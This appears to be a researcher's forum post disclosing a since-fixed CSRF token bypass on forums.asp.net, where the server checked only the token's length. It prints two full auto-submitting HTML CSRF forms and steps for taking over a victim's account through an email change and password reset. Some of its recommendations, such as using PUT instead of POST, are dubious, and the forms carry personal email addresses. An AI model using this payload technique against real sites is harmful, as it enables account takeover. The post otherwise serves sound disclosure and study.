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Microsofts Asp.net Anti-CSRF Token Bypass

Rating: 4 votes, 3.75 average.
[B]Microsoft's Asp.net CSRF Vulnerability[/B]

I want to share one of my finding on Microsoft Asp.net which I have reported to them in April 2013.

While researching and working on bug bounties I have found that we can bypass Anti-CSRF token validation even when it is getting validated on the server-side and can execute CSRF. And after that using the CSRF we can compromise the victims account by change email id of any users account on that site to the attackers email id an then we can use the forget password option to reset the victims account password.


The challenge was to execute the CSRF attack by bypassing the Anti-CSRF token validation. I have found that the Anti-CSRF Token was getting validated on the server-side. So, I tried to find the weakness in its validation by various known ways like I tried to re-use one user Anti-CSRF Token on another user account, then I tried to use the already used token and after that I tried to check whether token is getting validated on not but none of them worked as the Token was getting validated on server-side.


Now only 2 options left 1st option is that I have to somehow predict or guess the token and 2nd options is that I have to find the weakness in the token validation itself so I tried to analyze the token pattern, randomness, complexity etc but once again none worked :P so then something striked why not to use any random value as Anti-CSRF token with the same length as the current Anti-CSRF Token is having.


So for that I created 2 dummy account for testing purpose on asp.net and then crafted a CSRF payload as mentioned below which is containing a random value as Anti-CSRF token which is having same length(70 Chars) as the current Anti-CSRF Token and guess what it worked :D.


[B]Steps to execute this attack are as following:[/B]

1. First copy the actual form submission request.

[B]Actual Form Submission Request with Original Anti-CSRF Token Parameter Value:[/B]

<html>
<head>
</head>
<body onload=document.forms[0].submit();>
<form action="https://forums.asp.net/user/editprofile.aspx" method="POST" enctype="multipart/form-data">
<input type="hidden" name="__RequestVerificationToken" value="BHfUl2ElWyoSfGEOtEMc88WVcXgrCQDMlpe3rv0qoKfBIw7XtfpUfPPxbzMLAsdWlyvwHN" />
<input type="hidden" name="PostSortOrder" value="0" />
<input type="hidden" name="EnableDisplayInMemberList" value="false" />
<input type="hidden" name="EnableUserAvatars" value="true" />
<input type="hidden" name="EnableUserAvatars" value="false" />
<input type="hidden" name="TimeZoneId" value="Morocco Standard Time" />
<input type="hidden" name="DateFormat" value="MMM dd, yyyy" />
<input type="hidden" name="EnableAvatar" value="false" />
<input type="hidden" name="edit-upload" value="" />
<input type="hidden" name="Name" value="" />
<input type="hidden" name="Location" value="" />
<input type="hidden" name="Occupation" value="" />
<input type="hidden" name="Interests" value="" />
<input type="hidden" name="WebAddress" value="http://computersecuritywithethicalhacking.blogspot.in" />
<input type="hidden" name="WebLog" value="test" />
<input type="hidden" name="Twitter" value="ajaysinghnegi" />
<input type="hidden" name="Bio" value="" />
<input type="hidden" name="Signature" value="" />
<input type="hidden" name="EnableEmail" value="false" />
<input type="hidden" name="EnableHtmlEmail" value="false" />
<input type="hidden" name="EnableThreadTracking" value="false" />
<input type="hidden" name="EmailPublic" value="testtesting@gmail.com" />
<input type="hidden" name="MsnIM" value="test" />
<input type="hidden" name="AolIM" value="testing" />
<input type="hidden" name="YahooIM" value="test" />
<input type="hidden" name="IcqIM" value="testingg" />
<input type="hidden" name="EmailPrivate" value="ajaysinghnegi01@gmail.com" />
<input type="hidden" name="FavoriteUsersShared" value="false" />
<input type="hidden" name="FavoritePostsShared" value="false" />
<input type="hidden" name="FavoriteForumsShared" value="false" />
<input type="hidden" name="submit" value="Save All Changes" /></form>
</body>
</html>

2. After that change the same Anti-CSRF Token parameter __RequestVerificationToken values from BHfUl2ElWyoSfGEOtEMc88WVcXgrCQDMlpe3rv0qoKfBIw7XtfpUfPPxbzMLAsdWlyvwHN to yoSfGEOtEMc8BHfUlAsdWlyvwH2ElW8WVcXgr3rv0qoKfBIw7XtfpUfPPxbzMCQDMlpeLD with same length this modified value will be used as an Anti-CSRF Token.

[B]Account Compromise & Anti CSRF Token Bypass(Modified Form Submission Request after changing the Anti-CSRF Token Parameter Value to 70 Chars Random Value):[/B]

<html>
<head>
</head>
<body onload=document.forms[0].submit();>
<form action="https://forums.asp.net/user/editprofile.aspx" method="POST" enctype="multipart/form-data">
<input type="hidden" name="__RequestVerificationToken" value="yoSfGEOtEMc8BHfUlAsdWlyvwH2ElW8WVcXgr3rv0qoKfBIw7XtfpUfPPxbzMCQDMlpeLD" />
<input type="hidden" name="PostSortOrder" value="0" />
<input type="hidden" name="EnableDisplayInMemberList" value="false" />
<input type="hidden" name="EnableUserAvatars" value="true" />
<input type="hidden" name="EnableUserAvatars" value="false" />
<input type="hidden" name="TimeZoneId" value="Morocco Standard Time" />
<input type="hidden" name="DateFormat" value="MMM dd, yyyy" />
<input type="hidden" name="EnableAvatar" value="false" />
<input type="hidden" name="edit-upload" value="" />
<input type="hidden" name="Name" value="" />
<input type="hidden" name="Location" value="" />
<input type="hidden" name="Occupation" value="" />
<input type="hidden" name="Interests" value="" />
<input type="hidden" name="WebAddress" value="http://computersecuritywithethicalhacking.blogspot.in" />
<input type="hidden" name="WebLog" value="test" />
<input type="hidden" name="Twitter" value="ajaysinghnegi" />
<input type="hidden" name="Bio" value="" />
<input type="hidden" name="Signature" value="" />
<input type="hidden" name="EnableEmail" value="false" />
<input type="hidden" name="EnableHtmlEmail" value="false" />
<input type="hidden" name="EnableThreadTracking" value="false" />
<input type="hidden" name="EmailPublic" value="testtesting@gmail.com" />
<input type="hidden" name="MsnIM" value="test" />
<input type="hidden" name="AolIM" value="testing" />
<input type="hidden" name="YahooIM" value="test" />
<input type="hidden" name="IcqIM" value="testingg" />
<input type="hidden" name="EmailPrivate" value="ajaysinghnegi01@gmail.com" />
<input type="hidden" name="FavoriteUsersShared" value="false" />
<input type="hidden" name="FavoritePostsShared" value="false" />
<input type="hidden" name="FavoriteForumsShared" value="false" />
<input type="hidden" name="submit" value="Save All Changes" />
</form>
</body>
</html>

3. Then send this crafted CSRF payload code as a link to the victim.

4. As the victim executes that CSRF payload contianing link the victims account email id will be changed and the attack will recieve an email to confirm his email after confirming it the attacker can use the forget password option to reset the and compromise the victims account.


[B]Rootcause:[/B]

Anti-CSRF Token __RequestVerificationToken and its values BHfUl2ElWyoSfGEOtEMc88WVcXgrCQDMlpe3rv0qoKfBIw7XtfpUfPPxbzMLAsdWlyvwHN validation was based on Length based validation(i.e Anti-CSRF Token Full Length was only getting checked on Server-Side).


[B]Impact:[/B]

All Microsoft Asp.net users were vulnerable to this CSRF attack using these vulnerability the Attacker can bypass the Anti-CSRF Token Validation and can Compromise the victims account.


[B]Recommendation:[/B]

Anti-CSRF Token __RequestVerificationToken and its values shall never be reusable in the attacker own account and any other users account.

CSRF Token shall be properly validated on server-side instead of only Length Based Validation.

It shall be expired after use and it shall be 1 time useable.

It should be generated randomly on each request.

Instead of Post method PUT method shall be used.



The vulnerability were mitigated by Microsoft Security Team in 12 days.


So in this way, one can bypass Anti-CSRF token validation and can also compromise the victims account also this technique can be used to find same type of vulnerability on different websites.


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